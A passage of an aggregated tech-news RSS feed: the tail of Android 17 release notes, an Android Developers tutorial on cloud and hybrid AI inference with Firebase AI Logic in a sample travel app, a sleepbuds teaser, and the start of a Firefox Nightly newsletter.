<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Cloud and hybrid inference]]></title>
<description><![CDATA[Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. ...]]></description>
<link>https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:23 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBHTpa22SxEltoebLZYO_34iRtahN8z5tA3tnIryIii0s4_conN5qFYfmNro6nmZBfsgiZeRLtru-gE4XO2mf-RBDyIo00kf3QunWwUO-SICHkVSv0exAQQ4qA0KzjMGRpA8qj1TSMP0Ffe0FzrEc_S1zBaakKzCZFpqYLXqds9Zqmqr8yyeSgyNl9U0s/s2469/features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Meta.png"><div><i>Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s8583/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s1600/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience. In our <a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">previous post</a> we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.</p>

<p>In this post, we will look at how you can leverage <b><a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> </b>to build cloud-hosted and hybrid AI features: </p>
<ul>
  <li>Grounding answers in real-world context</li>
  <li>Routing requests dynamically between cloud and local execution using hybrid inference</li>
  <li>Translating content with custom routing systems</li>
</ul>

<div>
  
  
</div><p><br></p><p>Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. </p>

<p>Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.</p><br><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s8000/features_upscaled.png"><img border="0" data-original-height="4744" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s1600/features_upscaled.png"></a></div><em>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and 
  support chat featuring custom-routed live translation.</em></div>

<p>Let’s look at how we implemented three cloud and hybrid features in <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker</a>:</p>
<ul>
  <li>a museum assistant with web grounding</li>
  <li>hybrid restaurant review drafting</li>
  <li>hotel support chat featuring custom-routed live translation.</li>
</ul>

<h2>Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding</h2>
<p>The <b>Museum assistant </b>is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.</p><br><div class="separator"><em><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/s4880/museum_assistant_upscaled.png"><img border="0" data-original-height="4880" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/w314-h640/museum_assistant_upscaled.png" width="314"></a></div>Museum assistant is a chatbot that answers questions, such as </em></div><div class="separator"><em>‘How can I get a ticket discount for Le Louvre?’</em></div>

<p>When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s8000/grounding_upscaled.png"><img border="0" data-original-height="4452" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s1600/grounding_upscaled.png"></a></div><br><em><br>Grounding data is added to the context window to enable the model</em></div><div class="separator"><em> to answer questions correctly and accurately.</em></div>

<p>To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The <a href="https://firebase.google.com/products/firebase-ai-logic" target="_blank">Firebase AI Logic SDK</a> supports three types of grounding:</p>
<ul>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/url-context">URL grounding</a>:</strong> Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">Google Search grounding</a>:</strong> Letting the model query the real-time Google search index for up-to-date details.</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Maps grounding</a>:</strong> Using Google Maps location data.</li>
</ul>

<p>In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:</p>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf&lt;Tool&gt;()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )</code></pre>

<p>When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:</p>

<pre><code>val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)
</code></pre>

<h2>Hybrid inference: On-device review generation with Maps deep link</h2>
<p>Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started?api=dev">Firebase API for Hybrid Inference</a>.</p>

<p>In Jetpacker, the <b>restaurant review</b> feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/s4680/review_upscaled.png"><img border="0" data-original-height="4680" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/w327-h640/review_upscaled.png" width="327"></a></div><br></div><div class="separator"><em>The restaurant review feature uses hybrid inference to draft a review based on topics</em></div><div class="separator"><em><br></em></div>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)</code></pre>

<p>The Hybrid Inference API supports four distinct routing modes:</p>
<ul>
  <li><strong>PREFER_ON_DEVICE:</strong> Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.</li>
  <li><strong>PREFER_IN_CLOUD:</strong> Prioritizes cloud execution and falls back to on-device if the device goes offline.</li>
  <li><strong>ONLY_ON_DEVICE:</strong> Restricts execution strictly to the device.</li>
  <li><strong>ONLY_IN_CLOUD:</strong> Restricts execution strictly to the cloud.</li>
</ul>

<p>Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:</p>

<pre><code>private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}</code></pre>

<h2>Custom hybrid routing: Hotel support chat translation with simulated personas</h2>
<p>The <b>hotel support chat</b> was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.</p>

<pre><code>private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )</code></pre>

<p>Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. </p><div class="separator"><em><br><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s4112/translation_upscaled.png"><img border="0" data-original-height="2364" data-original-width="4112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s1600/translation_upscaled.png"></a></div><div class="separator"><em>Hotel support chat messages are automatically translated to the user’s preferred language </em></div></em></div>

<p>While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:</p>
<ul>
  <li><strong>Language identification:</strong> Using the on-device <a href="https://developers.google.com/ml-kit/language/identification/android">ML Kit Language Identification API</a>, we can detect the incoming message language.</li>
  <li><strong>On-device translation (Gemini Nano):</strong> <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.</li>
  <li><strong>Cloud translation (Gemini 3 Flash):</strong> For more complex languages, we use Gemini Flash 3 to get a higher quality translation.</li>
</ul>

<pre><code>// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )</code></pre>

<p>When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:</p>

<pre><code>fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" &amp;&amp; sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current -&gt;
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}</code></pre>

<p>In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.</p>

<h2>Securing the AI Pipelines: Firebase App Check</h2>
<p>Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated <a href="https://firebase.google.com/docs/app-check"><b>Firebase App Check</b></a> using both Play Integrity (production) and the local Debug Provider (for local development or emulators).</p>

<p>In the <a href="https://github.com/android/ai-samples/blob/main/jetpacker/android/app/src/main/kotlin/com/example/jetpacker/JetPackerApplication.kt">JetPackerApplication.kt</a> file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:</p>

<pre><code>//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}</code></pre>

<p>When building locally on an emulator, App Check prints a local token secret to logcat:</p>

<p>Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e</p>

<p>Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.</p>

<h2>Conclusion</h2>
<p>By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.</p>

<p>Check out the <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">full source code for Jetpacker on GitHub</a>, and explore the Firebase documentation to get started:</p>
<p><a href="https://firebase.google.com/docs/ai-logic/get-started">Firebase AI Logic Documentation</a><br><a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Firebase Hybrid Inference API</a></p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p>
<p><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1</a>:</b> Introduction of the app and a high-level overview.<br><b><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">Part 2</a>: </b>On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3 (this post!):</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">Part 4:</a> </b>System integration. Integrating with the Android intelligence system using AppFunctions. <br><b>Part 5 (coming soon):</b> In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre>]]></content:encoded>
</item>
<item>
<title><![CDATA[Forget expensive sleepbuds. Buy this pillow instead]]></title>
<description><![CDATA[Tech companies love to sell us expensive gadgets to solve all of life's little problems. Sleepbuds sold by the likes of Anker and Ozlo are a good example. These miniature marvels of engineering sit flush in the ear, and allow side-sleepers to doze off listening to podcasts, audiobooks, music, or ...]]></description>
<link>https://tsecurity.de/de/3693390/it-nachrichten/forget-expensive-sleepbuds-buy-this-pillow-instead/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693390/it-nachrichten/forget-expensive-sleepbuds-buy-this-pillow-instead/</guid>
<pubDate>Sat, 25 Jul 2026 09:25:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tech companies love to sell us expensive gadgets to solve all of life's little problems. Sleepbuds sold by the likes of Anker and Ozlo are a good example. These miniature marvels of engineering sit flush in the ear, and allow side-sleepers to doze off listening to podcasts, audiobooks, music, or white noise without annoying their […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
